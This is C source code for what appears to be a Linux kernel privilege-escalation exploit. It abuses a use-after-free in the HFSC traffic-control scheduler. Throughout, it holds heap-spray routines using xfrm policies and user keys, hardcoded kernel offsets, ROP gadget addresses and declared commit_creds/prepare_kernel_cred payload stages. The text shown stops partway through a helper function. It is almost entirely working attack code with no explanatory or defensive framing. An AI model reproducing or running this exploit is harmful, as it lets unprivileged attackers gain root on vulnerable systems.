#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdarg.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <sched.h>
#include <fcntl.h>
#include <unistd.h>
#include <endian.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/ipv6.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/if_link.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/xfrm.h>
#include <libmnl/libmnl.h>
#include <keyutils.h>

#define __aligned(x) __attribute__((__aligned__(x)))

typedef uint64_t u64;
typedef uint32_t u32;
typedef uint8_t u8;
typedef uint16_t u16;

static const int RB_RED = 0;
static const int RB_BLACK = 1;
static const char setgroups_proc_file_path[] = "/proc/self/setgroups";
static const char uid_map_proc_file_path[] = "/proc/self/uid_map";
static const char gid_map_proc_file_path[] = "/proc/self/gid_map";

static const u32 struct_hfsc_class_member_qdisc_offset = 152;
static const u32 struct_hfsc_class_member_el_node_offset = 160;
static const u32 struct_hfsc_class_member_cl_e_offset = 272;

static const u32 struct_Qdisc_member_dequeue_offset = 8;
static const u32 struct_Qdisc_member_gso_skb_offset = 128;

static const u32 struct_xfrm_policy_member_timer_offset = 56;
static const u32 struct_xfrm_policy_member_priority_offset = 100;
static const u32 struct_xfrm_policy_member_if_id_offset = 108;
static const u32 struct_xfrm_policy_member_mark_offset = 112;
static const u32 struct_xfrm_policy_member_selector_offset = 120;
static const u32 struct_xfrm_policy_member_lft_offset = 176;
static const u32 struct_xfrm_policy_member_action_offset = 370;

static const u32 struct_timer_list_member_function_offset = 24;

static const u64 xfrm_policy_timer_last24bits = 0x2b36f0;
static const u64 xfrm_policy_timer_offset_from_kernel_base = 0x12b36f0;

static const u32 struct_user_key_payload_member_data_offset = 24;
static const u32 struct_user_key_payload_member_datalen_offset = 16;

static const u32 struct_task_struct_member_fs_offset = 2088;

static u64 init_task = 0x2c0bf40;
static u64 init_fs = 0x2db07c0;
static u64 push_rdi_pop_rsp_ret = 0x4d2377;
static u64 mov_qword_ptr_rax_rsi_ret = 0x22c933;
static u64 mov_rdi_rax_rep_ret = 0x146bd3b;
static u64 pop_rdi_ret = 0x8d793d;
static u64 pop_rcx_ret = 0xbca63;
static u64 pop_rsi_ret = 0x4c7ae;
static u64 add_rax_rcx_ret = 0xf3cd4;
static u64 add_rsp_0x8_ret = 0x4b5482;

static u64 prepare_kernel_cred = 0x1fdcc0;
static u64 commit_creds = 0x1fda10;
static u64 find_task_by_vpid = 0x1f1100;
static u64 swapgs_restore_regs_and_return_to_usermode_nopop = 0x16011a6;

u64 user_cs, user_ss, user_rsp, user_rflags;

struct rb_node {
	unsigned long __rb_parent_color;
	struct rb_node *rb_right;
	struct rb_node *rb_left;
};

static_assert(sizeof(struct rb_node) == 24,
	"sizeof(struct rb_node) in exploit not equal to sizeof(struct rb_node) in kernel");

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

static_assert(sizeof(struct callback_head) == 16,
	"sizeof(struct callback_head) in exploit not equal to sizeof(struct callback_head) in kernel");

struct user_key_payload {
	struct rcu_head rcu;
	unsigned short datalen;
	char data[] __aligned(__alignof__(u64));
};

static_assert(sizeof(struct user_key_payload) == 24,
	"sizeof(struct user_key_payload) in exploit not equal to sizeof(struct user_key_payload) in kernel");

struct sk_buff {
	u8 bytes[224];
};

struct sk_buff_list {
	struct sk_buff *next;
	struct sk_buff *prev;
};

struct sk_buff_head {
	union {
		struct {
			struct sk_buff *next;
			struct sk_buff *prev;
		};
		struct sk_buff_list list;
	};
	u32 qlen;
	int lock;
};

struct xfrm_policy_netlink_params {
	struct xfrm_selector sel;
	struct xfrm_lifetime_cfg lft;
	u32 priority;
	u32 index;
	u8 dir;
	u32 action;
	struct xfrm_mark xfrm_mark;
	u32 if_id;
};

struct xfrm_policy_spray {
	struct mnl_socket *xfrm_socket;
	u32 length;
	u32 spray_count;
	struct xfrm_policy_netlink_params *params;
};

struct heap_read_primitive {
	struct mnl_socket *route_socket;
	int raw_packet_socket;
	char rb_tree_interface_name[IFNAMSIZ];
	int rb_tree_interface_ifindex;
	u32 rb_tree_interface_qdisc_A_handle;
	u32 rb_tree_interface_qdisc_B_handle;
	u32 rb_tree_interface_qdisc_C_handle;
	u32 rb_tree_interface_classid_A;
	u32 rb_tree_interface_classid_B;
	u32 rb_tree_interface_classid_C;
	u32 rb_tree_interface_classid_D;
	key_serial_t key_A;
	char *key_A_desc;
	key_serial_t key_B;
	char *key_B_desc;
	u32 key_spray_count;
	key_serial_t *key_spray;
	char **key_spray_descs;
};

struct code_execution_primitive {
	struct mnl_socket *route_socket;
	int raw_packet_socket;
	char network_interface_name[IFNAMSIZ];
	int network_interface_ifindex;
	u32 qdisc_A_handle;
	u32 qdisc_B_handle;
	u32 qdisc_C_handle;
	u32 classid_A;
	u32 classid_B;
	key_serial_t key_A;
	char *key_A_desc;
	key_serial_t key_B;
	char *key_B_desc;
	u32 key_spray_count;
	key_serial_t *key_spray;
	char **key_spray_descs;
};

/* error handling */
void unix_error(char *msg);
void mnl_socket_error(char *msg);
void keyutils_error(char *msg);
/* error handling */

/* mnl socket wrapper */
struct mnl_socket *Mnl_socket_open(int bus);
void Mnl_socket_bind(struct mnl_socket *nl, unsigned int groups, pid_t pid);
ssize_t Mnl_socket_sendto(const struct mnl_socket *nl, const void *req, size_t siz);
ssize_t Mnl_socket_recvfrom(const struct mnl_socket *nl, void *buf, size_t siz);
/* mnl socket wrapper */

/* keyutils wrapper */
key_serial_t Add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid);
void Keyctl_unlink(key_serial_t id, key_serial_t ringid);
long Keyctl_read(key_serial_t id, char *buffer, size_t buflen);
long Keyctl_read_alloc(key_serial_t id, void **buffer);
/* keyutils wrapper */

/* libc wrapper */
int Open(const char *pathname, int flags, mode_t mode);
ssize_t Write(int fd, const void *buf, size_t count);
ssize_t Sendmsg(int socket, const struct msghdr *message, int flags);
int Socket(int domain, int type, int protocol);
void *Calloc(size_t nmemb, size_t size);
char *Strdup(const char *s);
int Vasprintf(char **strp, const char *fmt, va_list ap);
void Unshare(int flags);
void Sched_setaffinity(pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset);
/* libc wrapper */

void write_string_to_file(const char *file_path, const char *fmt, ...);
void pin_on_cpu(int core_id);
void setup_namespace(void);
void validate_mnl_socket_operation_success(struct mnl_socket *route_socket, u32 seq);
void send_packet_to_network_interface(int raw_packet_socket, int ifidx, void *data, size_t len);
void trigger_qdisc_enqueue(int packet_socket, int ifindex);
void trigger_qdisc_enqueue_with_bigger_packet(int packet_socket, int ifindex);
void network_interface_up(const char *ifname);
void create_dummy_network_interface(struct mnl_socket *route_socket, const char *ifname, u32 tx_queues, u32 mtu);
void delete_network_interface(struct mnl_socket *route_socket, int ifindex);
void create_hfsc_qdisc(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	const struct tc_hfsc_qopt *qopt
);
void change_hfsc_qdisc(
	struct mnl_socket *route_socket,
	int ifidx,
	u32 tcm_parent,
	u32 tcm_handle,
	const struct tc_hfsc_qopt *qopt
);
void create_hfsc_class(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	const struct tc_service_curve *rsc,
	const struct tc_service_curve *fsc,
	const struct tc_service_curve *usc
);
void change_hfsc_class(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	const struct tc_service_curve *rsc,
	const struct tc_service_curve *fsc,
	const struct tc_service_curve *usc
);
void change_hfsc_qdisc_route(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	u32 route_to_classid
);
void create_pfifo_head_drop_qdisc(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
  	const struct tc_fifo_qopt *ctl
);
void delete_qdisc(struct mnl_socket *route_socket, int ifindex, u32 tcm_parent, u32 tcm_handle);
void delete_tclass(struct mnl_socket *route_socket, int ifindex, u32 tcm_parent, u32 tcm_handle);
key_serial_t user_key_payload_alloc(const char *desc, void *data, size_t n);
void user_key_payload_free(key_serial_t *pkey);
void user_key_payload_free_and_wait_for_gc(key_serial_t *pkey);
void user_key_payload_read(key_serial_t key, void *buf, long n);

static inline int xfrm_policy_id2dir(u32 index);
void xfrm_policy_alloc(
	struct mnl_socket *xfrm_socket,
	const struct xfrm_userpolicy_info *xfrm_userpolicy_info,
	const struct xfrm_mark *xfrm_mark,
	u32 if_id
);
void xfrm_policy_free(
	struct mnl_socket *xfrm_socket,
	const struct xfrm_userpolicy_id *xfrm_userpolicy_id,
	const struct xfrm_mark *xfrm_mark,
	u32 if_id
);
void xfrm_policy_spray_init(struct xfrm_policy_spray *xfrm_policy_spray, u32 spray_count);
void xfrm_policy_spray_insert_netlink_params(
	struct xfrm_policy_spray *xfrm_policy_spray,
	const struct xfrm_policy_netlink_params *netlink_params
);
void xfrm_policy_spray_trigger_alloc(struct xfrm_policy_spray *xfrm_policy_spray, u32 from, u32 to);
void xfrm_policy_spray_trigger_free(struct xfrm_policy_spray *xfrm_policy_spray);

void prepare_uaf(
	struct mnl_socket *route_socket,
	int packet_socket,
	int ifindex,
	u32 qdisc_A_handle,
	u32 qdisc_B_handle,
	u32 qdisc_C_handle,
	u32 classid_A
);
static inline void trigger_uaf(struct mnl_socket *route_socket, int ifindex, u32 hfsc_classid);

void heap_read_primitive_init(
	struct heap_read_primitive *heap_read_primitive,
	const char *rb_tree_interface_name,
	u32 rb_tree_interface_qdisc_A_handle,
	u32 rb_tree_interface_qdisc_B_handle,
	u32 rb_tree_interface_qdisc_C_handle,
	u32 rb_tree_interface_classid_A,
	u32 rb_tree_interface_classid_B,
	u32 rb_tree_interface_classid_C,
	u32 rb_tree_interface_classid_D,
	const char *key_A_desc,
	const char *key_B_desc,
	u32 key_spray_count,
	const char *key_spray_pattern
);
void heap_read_primitive_setup_network_interfaces(struct heap_read_primitive *heap_read_primitive);
bool heap_read_primitive_build_primitive(struct heap_read_primitive *heap_read_primitive);
long heap_read_primitive_trigger(struct heap_read_primitive *heap_read_primitive, void **leak_buffer);
void heap_read_primitive_reset(struct heap_read_primitive *heap_read_primitive);

void code_execution_primitive_init(
	struct code_execution_primitive *code_execution_primitive,
	const char *network_interface_name,
	u32 qdisc_A_handle,
	u32 qdisc_B_handle,
	u32 qdisc_C_handle,
	u32 classid_A,
	u32 classid_B,
	const char *key_A_desc,
	const char *key_B_desc,
	const char *key_spray_pattern,
	u32 key_spray_count
);
void code_execution_primitive_setup_network_interface(struct code_execution_primitive *code_execution_primitive);
void code_execution_primitive_build_primitive(struct code_execution_primitive *code_execution_primitive);
void code_execution_primitive_trigger(struct code_execution_primitive *code_execution_primitive);

void save_state(void);
void win(void);
void *find_xfrm_policy_in_heap_leak_data(
	void *leak_data,
	long leak_data_size,
	const struct xfrm_policy_netlink_params *params
);
u64 find_kernel_base(void);
void update_kernel_address(u64 kernel_base);
void do_exploit(void);

void unix_error(char *msg)
{
	fprintf(stderr, "%s: %s\n", msg, strerror(errno));
	exit(EXIT_FAILURE);
}

void mnl_socket_error(char *msg)
{
	fprintf(stderr, "%s: %s\n", msg, strerror(errno));
	exit(EXIT_FAILURE);
}

void keyutils_error(char *msg)
{
	fprintf(stderr, "%s: %s\n", msg, strerror(errno));
	exit(EXIT_FAILURE);
}

struct mnl_socket *Mnl_socket_open(int bus)
{
	struct mnl_socket *nl = mnl_socket_open(bus);
	if (nl == NULL)
		mnl_socket_error("mnl_socket_open error");
	return nl;
}

void Mnl_socket_bind(struct mnl_socket *nl, unsigned int groups, pid_t pid)
{
	if (mnl_socket_bind(nl, groups, pid) < 0)
		mnl_socket_error("mnl_socket_bind error");
}

ssize_t Mnl_socket_sendto(const struct mnl_socket *nl, const void *req, size_t siz)
{
	ssize_t rc = mnl_socket_sendto(nl, req, siz);
	if (rc < 0)
		mnl_socket_error("mnl_socket_sendto");
	return rc;
}

ssize_t Mnl_socket_recvfrom(const struct mnl_socket *nl, void *buf, size_t siz)
{
	ssize_t rc = mnl_socket_recvfrom(nl, buf, siz);
	if (rc < 0)
		mnl_socket_error("mnl_socket_recvfrom");
	return rc;
}

key_serial_t Add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid)
{
	key_serial_t key = add_key(type, description, payload, plen, ringid);
	if (key < 0)
		keyutils_error("add_key");
	return key;
}

void Keyctl_unlink(key_serial_t id, key_serial_t ringid)
{
	if (keyctl_unlink(id, ringid) < 0)
		keyutils_error("keyctl_unlink");
}

long Keyctl_read(key_serial_t id, char *buffer, size_t buflen)
{
	long rc = keyctl_read(id, buffer, buflen);
	if (rc < 0)
		keyutils_error("keyctl_read");
	return rc;
}

long Keyctl_read_alloc(key_serial_t id, void **buffer)
{
	long n = keyctl_read_alloc(id, buffer);
	if (n < 0)
		keyutils_error("keyctl_read_alloc");
	return n;
}

int Open(const char *pathname, int flags, mode_t mode) 
{
	int fd = open(pathname, flags, mode);
	if (fd < 0)
		unix_error("open");
	return fd;
}

ssize_t Write(int fd, const void *buf, size_t count) 
{
	ssize_t rc = write(fd, buf, count);
	if (rc < 0)
		unix_error("write");
	return rc;
}

ssize_t Sendmsg(int socket, const struct msghdr *message, int flags)
{
	ssize_t rc = sendmsg(socket, message, flags);
	if (rc < 0)
		unix_error("sendmsg");
	return rc;
}

int Socket(int domain, int type, int protocol)
{
	int fd = socket(domain, type, protocol);
	if (fd < 0)
		unix_error("socket error");
	return fd;
}

void *Calloc(size_t nmemb, size_t size)
{
	void *p = calloc(nmemb, size);
	if (p == NULL)
		unix_error("calloc error");
	return p;
}

char *Strdup(const char *s)
{
	char *p = strdup(s);
	if (p == NULL)
		unix_error("strdup error");
	return p;
}

int Vasprintf(char **strp, const char *fmt, va_list ap)
{
	int rc = vasprintf(strp, fmt, ap);
	if (rc < 0)
		unix_error("vasprintf error");
	return rc;
}

void Unshare(int flags)
{
	if (unshare(flags) < 0)
		unix_error("unshare");
}

void Sched_setaffinity(pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset)
{
	if (sched_setaffinity(pid, cpusetsize, cpuset) < 0)
		unix_error("sched_setaffinity");
}

void write_string_to_file(const char *file_path, const char *fmt, ...)
{
	va_list args;
	va_start(args, fmt);
	char *write_str = NULL;
	Vasprintf(&write_str, fmt, args);
	va_end(args);
	int fd = Open(file_path, O_WRONLY, 0);
	Write(fd, write_str, strlen(write_str));
	free(write_str);
	close(fd);
}

void pin_on_cpu(int core_id)
{
	cpu_set_t cpuset;
	CPU_ZERO(&cpuset);
	CPU_SET(core_id, &cpuset);
	Sched_setaffinity(0, sizeof(cpu_set_t), &cpuset);
}

void setup_namespace(void)
{
	int real_uid = getuid();
	int real_gid = getgid();
	Unshare(CLONE_NEWUSER | CLONE_NEWNET);
	write_string_to_file(setgroups_proc_file_path, "deny");
	write_string_to_file(uid_map_proc_file_path, "0 %d 1", real_uid);
	write_string_to_file(gid_map_proc_file_path, "0 %d 1", real_gid);
}

void validate_mnl_socket_operation_success(struct mnl_socket *route_socket, u32 seq)
{
	u8 buf[8192] = {};
	u32 portid = mnl_socket_get_portid(route_socket);
	ssize_t ret = Mnl_socket_recvfrom(route_socket, buf, sizeof(buf));
	while (ret > 0) {
		ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);
		if (ret <= 0)
			break;
		ret = Mnl_socket_recvfrom(route_socket, buf, sizeof(buf));
	}
	
	if (ret < 0)
		exit(EXIT_FAILURE);
}

void send_packet_to_network_interface(int raw_packet_socket, int ifidx, void *data, size_t len)
{
	struct msghdr msg = {};
	struct sockaddr_ll saddr = { .sll_ifindex = ifidx };
	msg.msg_name = &saddr;
	msg.msg_namelen = sizeof(struct sockaddr_ll);
	struct iovec iov = { .iov_base = data, .iov_len = len };
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	Sendmsg(raw_packet_socket, &msg, 0);
}

void trigger_qdisc_enqueue(int packet_socket, int ifindex)
{
	u8 packet_data[128] = {};
	send_packet_to_network_interface(packet_socket, ifindex, packet_data, sizeof(packet_data));
}

void trigger_qdisc_enqueue_with_bigger_packet(int packet_socket, int ifindex)
{
	u8 packet_data[256] = {};
	send_packet_to_network_interface(packet_socket, ifindex, packet_data, sizeof(packet_data));
}

void network_interface_up(const char *ifname)
{
	struct ifreq ifr = {};
  	strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
	int sockfd = Socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
	if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) < 0) {
		perror("ioctl(SIOCGIFFLAGS)");
		exit(EXIT_FAILURE);
	}

  	strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
	ifr.ifr_flags |= (IFF_UP | IFF_RUNNING);
	if (ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
		perror("ioctl(SIOCSIFFLAGS)");
		exit(EXIT_FAILURE);
	}
}

void create_dummy_network_interface(struct mnl_socket *route_socket, const char *ifname, u32 tx_queues, u32 mtu)
{
	u32 seq = time(NULL);
  	u8 buf[8192] = {};
  	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
  	nlh->nlmsg_type = RTM_NEWLINK;
  	nlh->nlmsg_seq = seq;
  	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE;
  	struct ifinfomsg *ifm = mnl_nlmsg_put_extra_header(nlh, sizeof(*ifm));
  	mnl_attr_put_strz(nlh, IFLA_IFNAME, ifname);
  	mnl_attr_put_u32(nlh, IFLA_NUM_TX_QUEUES, tx_queues);
	mnl_attr_put_u32(nlh, IFLA_MTU, mtu);
  	struct nlattr *linkinfo = mnl_attr_nest_start(nlh, IFLA_LINKINFO);
  	mnl_attr_put_strz(nlh, IFLA_INFO_KIND, "dummy");
  	mnl_attr_nest_end(nlh, linkinfo);
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

void delete_network_interface(struct mnl_socket *route_socket, int ifindex)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_DELLINK;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST;
	struct ifinfomsg *ifm = mnl_nlmsg_put_extra_header(nlh, sizeof(*ifm));
	ifm->ifi_index = ifindex;
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

void create_hfsc_qdisc(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	const struct tc_hfsc_qopt *qopt
)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_NEWQDISC;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent;
	tcm->tcm_handle = tcm_handle;
	mnl_attr_put_strz(nlh, TCA_KIND, "hfsc");
	mnl_attr_put(nlh, TCA_OPTIONS, sizeof(*qopt), qopt);
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

void change_hfsc_qdisc(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	const struct tc_hfsc_qopt *qopt
)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_NEWQDISC;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_REPLACE;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent;
	tcm->tcm_handle = tcm_handle;
	mnl_attr_put_strz(nlh, TCA_KIND, "hfsc");
	mnl_attr_put(nlh, TCA_OPTIONS, sizeof(*qopt), qopt);
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

void create_hfsc_class(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	const struct tc_service_curve *rsc,
	const struct tc_service_curve *fsc,
	const struct tc_service_curve *usc
)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_NEWTCLASS;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent;
	tcm->tcm_handle = tcm_handle;
	struct nlattr *tca_options = mnl_attr_nest_start(nlh, TCA_OPTIONS);
	if (rsc)
		mnl_attr_put(nlh, TCA_HFSC_RSC, sizeof(*rsc), rsc);
	if (fsc)
		mnl_attr_put(nlh, TCA_HFSC_FSC, sizeof(*fsc), fsc);
	if (usc)
		mnl_attr_put(nlh, TCA_HFSC_USC, sizeof(*usc), usc);
	mnl_attr_nest_end(nlh, tca_options);
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

void change_hfsc_class(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	const struct tc_service_curve *rsc,
	const struct tc_service_curve *fsc,
	const struct tc_service_curve *usc
)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_NEWTCLASS;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent;
	tcm->tcm_handle = tcm_handle;
	struct nlattr *tca_options = mnl_attr_nest_start(nlh, TCA_OPTIONS);
	if (rsc)
		mnl_attr_put(nlh, TCA_HFSC_RSC, sizeof(*rsc), rsc);
	if (fsc)
		mnl_attr_put(nlh, TCA_HFSC_FSC, sizeof(*fsc), fsc);
	if (usc)
		mnl_attr_put(nlh, TCA_HFSC_USC, sizeof(*usc), usc);
	mnl_attr_nest_end(nlh, tca_options);
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

void change_hfsc_qdisc_route(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	u32 route_to_classid
)
{
	struct tc_hfsc_qopt hfsc_qopt = { .defcls = route_to_classid };
	change_hfsc_qdisc(route_socket, ifindex, tcm_parent, tcm_handle, &hfsc_qopt);
}

void create_pfifo_head_drop_qdisc(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
  	const struct tc_fifo_qopt *ctl
)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_NEWQDISC;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent;
	tcm->tcm_handle = tcm_handle;	
	mnl_attr_put_strz(nlh, TCA_KIND, "pfifo_head_drop");
  	if (ctl)
    		mnl_attr_put(nlh, TCA_OPTIONS, sizeof(*ctl), ctl);
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

void delete_qdisc(struct mnl_socket *route_socket, int ifindex, u32 tcm_parent, u32 tcm_handle)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_DELQDISC;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent;
	tcm->tcm_handle = tcm_handle;
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

void delete_tclass(struct mnl_socket *route_socket, int ifindex, u32 tcm_parent, u32 tcm_handle)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_DELTCLASS;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent;
	tcm->tcm_handle = tcm_handle;
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(route_socket, seq);
}

key_serial_t user_key_payload_alloc(const char *desc, void *data, size_t n)
{
	key_serial_t key = Add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING);
	return key;
}

void user_key_payload_free(key_serial_t *pkey)
{
	if (*pkey != -1) {
		Keyctl_unlink(*pkey, KEY_SPEC_USER_KEYRING);
		*pkey = -1;
	}
}

void user_key_payload_free_and_wait_for_gc(key_serial_t *pkey)
{
	if (*pkey != -1) {
		Keyctl_unlink(*pkey, KEY_SPEC_USER_KEYRING);
		u32 x = 0;
		for (u32 i = 0; i < 0xFFFFFFFF; i++)
			x += i;
		*pkey = -1;
	}
}

void user_key_payload_read(key_serial_t key, void *buf, long n)
{
	if (Keyctl_read(key, buf, n) != n)
		exit(EXIT_FAILURE);
}

static inline int xfrm_policy_id2dir(u32 index)
{
	return index & 7;
}

void xfrm_policy_alloc(
	struct mnl_socket *xfrm_socket,
	const struct xfrm_userpolicy_info *xfrm_userpolicy_info,
	const struct xfrm_mark *xfrm_mark,
	u32 if_id
)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = XFRM_MSG_NEWPOLICY;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST;
	struct xfrm_userpolicy_info *p = mnl_nlmsg_put_extra_header(nlh, sizeof(*p));
	memcpy(p, xfrm_userpolicy_info, sizeof(struct xfrm_userpolicy_info));
	mnl_attr_put(nlh, XFRMA_MARK, sizeof(struct xfrm_mark), xfrm_mark);
	mnl_attr_put_u32(nlh, XFRMA_IF_ID, if_id);
	Mnl_socket_sendto(xfrm_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(xfrm_socket, seq);
}

void xfrm_policy_free(
	struct mnl_socket *xfrm_socket,
	const struct xfrm_userpolicy_id *xfrm_userpolicy_id,
	const struct xfrm_mark *xfrm_mark,
	u32 if_id
)
{
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = XFRM_MSG_DELPOLICY;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST;
	struct xfrm_userpolicy_id *p = mnl_nlmsg_put_extra_header(nlh, sizeof(*p));
	memcpy(p, xfrm_userpolicy_id, sizeof(struct xfrm_userpolicy_id));
	mnl_attr_put(nlh, XFRMA_MARK, sizeof(struct xfrm_mark), xfrm_mark);
	mnl_attr_put_u32(nlh, XFRMA_IF_ID, if_id);
	Mnl_socket_sendto(xfrm_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(xfrm_socket, seq);
}

void xfrm_policy_spray_init(struct xfrm_policy_spray *xfrm_policy_spray, u32 spray_count)
{
	xfrm_policy_spray->xfrm_socket = Mnl_socket_open(NETLINK_XFRM);
	Mnl_socket_bind(xfrm_policy_spray->xfrm_socket, 0, MNL_SOCKET_AUTOPID);
	xfrm_policy_spray->params = Calloc(spray_count, sizeof(*(xfrm_policy_spray->params)));
	xfrm_policy_spray->spray_count = spray_count;
	xfrm_policy_spray->length = 0;
}

void xfrm_policy_spray_insert_netlink_params(
	struct xfrm_policy_spray *xfrm_policy_spray,
	const struct xfrm_policy_netlink_params *netlink_params
)
{
	assert(xfrm_policy_spray->length < xfrm_policy_spray->spray_count);
	memcpy(&(xfrm_policy_spray->params[xfrm_policy_spray->length]), netlink_params, sizeof(*netlink_params));
